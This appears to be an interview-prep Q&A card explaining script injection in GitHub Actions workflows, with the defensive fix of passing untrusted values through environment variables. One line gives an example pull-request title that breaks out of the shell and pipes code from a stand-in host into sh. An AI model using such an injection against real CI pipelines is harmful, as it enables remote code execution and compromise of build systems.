A workflow step uses `${{ github.event.pull_request.title }}` inside a `run:` script. Is that a problem?
AdvancedScenarioGitHub Actions
Answer
Situation read → Script injection.
What I'd do →
- Never put untrusted context values (titles, branch names, issue bodies) directly into
run; they are expanded before the shell runs. - Pass them as env vars:
env: TITLE: ${{ github.event.pull_request.title }}and use"$TITLE"in the script. - Scan workflows with
zizmoror CodeQL's Actions queries.
Why → A title like "; curl evil | sh # becomes executable code.
Interview tip → "Context goes through env, never inline."
More on GitHub Actions
What are workflows, jobs, steps and actions in GitHub Actions?BeginnerWhat events can trigger a workflow?BeginnerWhat is the difference between `pull_request` and `pull_request_target`?AdvancedWhat is a runner, and how do GitHub-hosted and self-hosted runners differ?BeginnerHow do you pass data between steps and between jobs?IntermediateHow does a build matrix work?Intermediate